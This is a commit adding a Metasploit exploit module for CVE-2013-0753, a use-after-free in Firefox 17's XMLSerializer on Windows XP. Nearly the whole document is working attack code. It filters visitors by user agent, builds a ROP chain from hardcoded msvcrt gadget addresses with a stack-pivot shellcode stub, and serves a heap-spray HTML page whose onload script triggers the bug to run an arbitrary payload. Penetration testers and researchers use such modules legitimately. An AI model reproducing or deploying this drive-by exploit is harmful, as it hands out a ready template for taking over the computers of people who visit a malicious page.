Land rapid7#2274 - Firefox XMLSerializer Use After Free

Author: wchen-r7

modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb

@@ -0,0 +1,203 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+	include Msf::Exploit::RopDb
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Firefox XMLSerializer Use After Free',
+			'Description'    => %q{
+				This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
+				an use after free of an Element object, when using the serializeToStream method
+				with a specially crafted OutputStream defining its own write function. This module
+				has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
+				SP3.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'regenrecht',  # Vulnerability Discovery, Analysis and PoC
+					'juan vazquez' # Metasploit module
+				],
+			'References'     =>
+				[
+					[ 'CVE', '2013-0753' ],
+					[ 'OSVDB', '89021'],
+					[ 'BID', '57209'],
+					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
+					[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
+					[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+					'PrependMigrate' => true
+				},
+			'Payload'        =>
+				{
+					'BadChars'    => "\x00",
+					'DisableNops' => true,
+					'Space'       => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Firefox 17  / Windows XP SP3',
+						{
+							'FakeObject'   => 0x0c101008, # Pointer to the Sprayed Memory
+							'FakeVFTable'  => 0x0c10100c, # Pointer to the Sprayed Memory
+							'RetGadget'    => 0x77c3ee16, # ret from msvcrt
+							'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
+							'StackPivot'   => 0x77c15ed5, # xcht eax,esp # ret msvcrt
+						}
+					]
+				],
+			'DisclosureDate' => 'Jan 08 2013',
+			'DefaultTarget'  => 0))
+
+	end
+
+	def stack_pivot
+		pivot = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
+		pivot << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
+		pivot << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
+		pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
+		return pivot
+	end
+
+	def junk(n=4)
+		return rand_text_alpha(n).unpack("V").first
+	end
+
+	def on_request_uri(cli, request)
+		agent = request.headers['User-Agent']
+		vprint_status("Agent: #{agent}")
+
+		if agent !~ /Windows NT 5\.1/
+			print_error("Windows XP not found, sending 404: #{agent}")
+			send_not_found(cli)
+			return
+		end
+
+		unless agent =~ /Firefox\/17/
+			print_error("Browser not supported, sending 404: #{agent}")
+			send_not_found(cli)
+			return
+		end
+
+		# Fake object landed on 0x0c101008 if heap spray is working as expected
+		code = [
+			target['FakeVFTable'],
+			target['RetGadget'],
+			target['RetGadget'],
+			target['RetGadget'],
+			target['RetGadget'],
+			target['PopRetGadget'],
+			0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
+		].pack("V*")
+		code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
+		code << [target['PopRetGadget']].pack("V") # pop # ret
+		code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
+		code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
+
+		js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
+		js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
+		js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))
+
+		content = <<-HTML
+<html>
+<script>
+var heap_chunks;
+
+function heapSpray(shellcode, fillsled) {
+	var chunk_size, headersize, fillsled_len, code;
+	var i, codewithnum;
+	chunk_size = 0x40000;
+	headersize = 0x10;
+	fillsled_len = chunk_size - (headersize + shellcode.length);
+	while (fillsled.length <fillsled_len)
+		fillsled += fillsled;
+	fillsled = fillsled.substring(0, fillsled_len);
+	code = shellcode + fillsled;
+	heap_chunks = new Array();
+	for (i = 0; i<1000; i++)
+	{
+		codewithnum = "HERE" + code;
+		heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
+	}
+}
+
+function gen(len, pad) {
+	pad = unescape(pad);
+
+	while (pad.length < len/2)
+		pad += pad;
+
+	return pad.substring(0, len/2-1);
+}
+
+function run() {
+	var container = [];
+
+	var myshellcode = unescape("#{js_code}");
+	var myfillsled = unescape("#{js_random}");
+	heapSpray(myshellcode,myfillsled);
+
+	var fake =
+	"%u0000%u0000" +
+	"%u0000%u0000" +
+	"%u0000%u0000" +
+	"%u0000%u0000" +
+	"%u0000%u0000" +
+	"%u0000%u0000" +
+	"%u0000%u0000" +
+	"#{js_ptr}";
+
+	var small = gen(72, fake);
+
+	var text = 'x';
+	while (text.length <= 1024)
+		text += text;
+
+	var parent = document.createElement("parent");
+	var child = document.createElement("child");
+
+	parent.appendChild(child);
+	child.setAttribute("foo", text);
+
+	var s = new XMLSerializer();
+	var stream = {
+		write: function() {
+			parent.removeChild(child);
+			child = null;
+			for (i = 0; i < 2097152; ++i)
+				container.push(small.toLowerCase());
+		}
+	};
+
+	s.serializeToStream(parent, stream, "UTF-8");
+}
+</script>
+<body onload="run();">
+</body>
+</html>
+		HTML
+
+		print_status("URI #{request.uri} requested...")
+		print_status("Sending HTML")
+		send_response(cli, content, {'Content-Type'=>'text/html'})
+
+	end
+
+end